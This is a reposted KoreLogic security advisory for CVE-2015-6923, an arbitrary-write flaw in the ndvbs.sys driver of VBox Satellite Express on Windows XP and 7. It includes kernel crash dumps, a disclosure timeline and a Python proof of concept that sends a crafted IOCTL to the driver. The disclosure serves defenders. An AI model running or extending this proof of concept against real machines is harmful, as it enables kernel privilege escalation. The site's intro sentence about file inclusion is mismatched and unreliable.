VBox Satellite Express Arbitrary Write Privilege Escalation

Posted on Posted in Exploit

A vulnerability within the ndvbs module allows an attacker to inject memory they control into an arbitrary location they define. This vulnerability can be used to overwrite function pointers in HalDispatchTable resulting in an elevation of privilege. suffers from code execution, and local file inclusion vulnerabilities.

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KL-001-2015-005 : VBox Satellite Express Arbitrary Write Privilege Escalation

Title: VBox Satellite Express Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2015-005
Publication Date: 2015.09.16
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-005.txt


1. Vulnerability Details

     Affected Vendor: VBox Communications
     Affected Product: Satellite Express Protocol
     Affected Version: 2.3.17.3
     Platform: Microsoft Windows XP SP3, Microsoft Windows 7 (x86)
     CWE Classification: CWE-123: Write-what-where condition
     Impact: Arbitrary Code Execution
     Attack vector: IOCTL
     CVE-ID: CVE-2015-6923

2. Vulnerability Description

     A vulnerability within the ndvbs module allows an attacker
     to inject memory they control into an arbitrary location they
     define. This vulnerability can be used to overwrite function
     pointers in HalDispatchTable resulting in an elevation of
     privilege.

3. Technical Description

     Example against Windows XP:

     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 2600.xpsp_sp3_qfe.101209-1646
     Machine Name:
     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0
     Debug session time: Tue Mar 10 18:57:54.259 2015 (UTC - 7:00)
     System Uptime: 0 days 0:11:19.843

     *********************************************************************
     *                                                                   *
     *                        Bugcheck Analysis                          *
     *                                                                   *
     *********************************************************************

     Use !analyze -v to get detailed debugging information.
     BugCheck 50, {b41c5d4c, 0, 805068e1, 0}
     Probably caused by : ndvbs.sys ( ndvbs+94f )
     Followup: MachineOwner
     ---------

     kd> kn
     Call stack:  # ChildEBP RetAddr
     00 f64fda98 8051cc7f nt!KeBugCheckEx+0x1b
     01 f64fdaf8 805405d4 nt!MmAccessFault+0x8e7
     02 f64fdaf8 805068e1 nt!KiTrap0E+0xcc
     03 f64fdbb0 80506aae nt!MmMapLockedPagesSpecifyCache+0x211
     04 f64fdbd0 f650e94f nt!MmMapLockedPages+0x18
     05 f64fdc34 804ee129 ndvbs+0x94f
     06 f64fdc44 80574e56 nt!IopfCallDriver+0x31
     07 f64fdc58 80575d11 nt!IopSynchronousServiceTail+0x70
     08 f64fdd00 8056e57c nt!IopXxxControlFile+0x5e7
     09 f64fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
     0a f64fdd34 7c90e514 nt!KiFastCallEntry+0xf8
     0b 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
     0c 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
     0d 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
     0e 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
     0f 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
     10 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
     11 0021f6c0 1e07bd9c _ctypes+0x54d8
     12 00000000 00000000 python27!PyObject_Call+0x4c


     Example against Windows 7:

     Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86
     Copyright (c) Microsoft Corporation. All rights reserved.
     Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatible
     Product: WinNt, suite: TerminalServer SingleUserTS Personal
     Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850
     Kernel base = 0x8280c000 PsLoadedModuleList = 0x82956850
     Debug session time: Tue Sep 15 15:08:38.938 2015 (UTC - 7:00)
     System Uptime: 0 days 0:27:26.358
     kd> .symfix;.reload
     Loading Kernel Symbols
     ...............................................................
     ................................................................
     ........................
     Loading User Symbols
     Loading unloaded module list
     ........
     kd> !analyze -v
     **********************************************************************
     *                                                                    *
     *                        Bugcheck Analysis                           *
     *                                                                    *
     **********************************************************************

     KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
     This is a very common bugcheck.  Usually the exception address pinpoints
     the driver/function that caused the problem.  Always note this address
     as well as the link date of the driver/image that contains this address.
     Some common problems are exception code 0x80000003.  This means a hard
     coded breakpoint or assertion was hit, but this system was booted
     /NODEBUG.  This is not supposed to happen as developers should never have
     hardcoded breakpoints in retail code, but ...
     If this happens, make sure a debugger gets connected, and the
     system is booted /DEBUG.  This will let us see why this breakpoint is
     happening.
     Arguments:
     Arg1: c0000005, The exception code that was not handled
     Arg2: 929ef938, The address that the exception occurred at
     Arg3: 974f4a34, Trap Frame
     Arg4: 00000000

     Debugging Details:
     ------------------

     EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx
referenced memory at 0x%08lx. The memory could not be %s.
     FAULTING_IP:
     ndvbs+938
     929ef938 8b4604          mov     eax,dword ptr [esi+4]

     TRAP_FRAME:  974f4a34 -- (.trap 0xffffffff974f4a34)
     ErrCode = 00000000
     eax=00000000 ebx=85490880 ecx=85de2ae0 edx=85490810 esi=85490810 edi=8460a668
     eip=929ef938 esp=974f4aa8 ebp=974f4afc iopl=0         nv up ei pl zr na pe nc
     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
     ndvbs+0x938:
     929ef938 8b4604          mov     eax,dword ptr [esi+4]
     Resetting default scope
     CUSTOMER_CRASH_COUNT:  1
     DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT
     BUGCHECK_STR:  0x8E
     PROCESS_NAME:  python.exe
     CURRENT_IRQL:  0
     ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre
     LAST_CONTROL_TRANSFER:  from 82843593 to 929ef938
     STACK_TEXT:
     WARNING: Stack unwind information not available. Following frames may be wrong.
     974f4afc 82843593 85de2a28 85490810 85490810 ndvbs+0x938
     974f4b14 82a3799f 8460a668 85490810 85490880 nt!IofCallDriver+0x63
     974f4b34 82a3ab71 85de2a28 8460a668 00000000 nt!IopSynchronousServiceTail+0x1f8
     974f4bd0 82a813f4 85de2a28 85490810 00000000 nt!IopXxxControlFile+0x6aa
     974f4c04 8284a1ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
     974f4c04 76fa70b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a
     0021f99c 00000000 00000000 00000000 00000000 0x76fa70b4

     STACK_COMMAND:  kb
     FOLLOWUP_IP:
     ndvbs+938
     929ef938 8b4604          mov     eax,dword ptr [esi+4]

     SYMBOL_STACK_INDEX:  0
     SYMBOL_NAME:  ndvbs+938
     FOLLOWUP_NAME:  MachineOwner
     MODULE_NAME: ndvbs
     IMAGE_NAME:  ndvbs.sys
     DEBUG_FLR_IMAGE_TIMESTAMP:  3ec77b36
     BUCKET_ID:  OLD_IMAGE_ndvbs.sys
     FAILURE_BUCKET_ID:  OLD_IMAGE_ndvbs.sys
     ANALYSIS_SOURCE:  KM
     FAILURE_ID_HASH_STRING:  km:old_image_ndvbs.sys
     FAILURE_ID_HASH:  {e5b892ba-cc2c-e4a4-9b6e-5e8b63660e75}
     Followup: MachineOwner
     ---------

4. Mitigation and Remediation Recommendation

     No response from vendor; no remediation available.

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

     2015.05.19 - KoreLogic requests a security contact from
                  info@vboxcomm.com.
     2015.05.29 - KoreLogic requests a security contact from
                  {info,sales,marketing}@vboxcomm.com.
     2015.08.03 - 45 business days have elapsed since KoreLogic's last
                  contact attempt.
     2015.09.11 - KoreLogic requests CVE from Mitre.
     2015.09.12 - Mitre issues CVE-2015-6923.
     2015.09.16 - Public disclosure.

7. Proof of Concept

     from sys import exit
     from ctypes import *
     NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
     WriteProcessMemory = windll.kernel32.WriteProcessMemory
     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
     CreateFileA = windll.kernel32.CreateFileA
     CloseHandle = windll.kernel32.CloseHandle
     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
     OPEN_EXISTING = 3
     NULL = None

     device = "ndvbs"
     code = 0x00000ffd
     inlen = 0x0
     outlen = 0x0
     inbuf = 0x1
     outbuf = 0xffff0000
     inBufMem = "\x90"*inlen

     def main():
       try:
          handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
          if (handle == -1):
                             print "[-] error creating handle"
                             exit(1)
        except Exception as e:
          print "[-] error creating handle"
          exit(1)

#NtAllocateVirtualMemory(-1,byref(c_int(inbuf)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,inbuf,inlen,outbuf,outlen)
        CloseHandle(handle)
        return False

     if __name__=="__main__":
       main()


The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt
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Quelle: Packet storm Security

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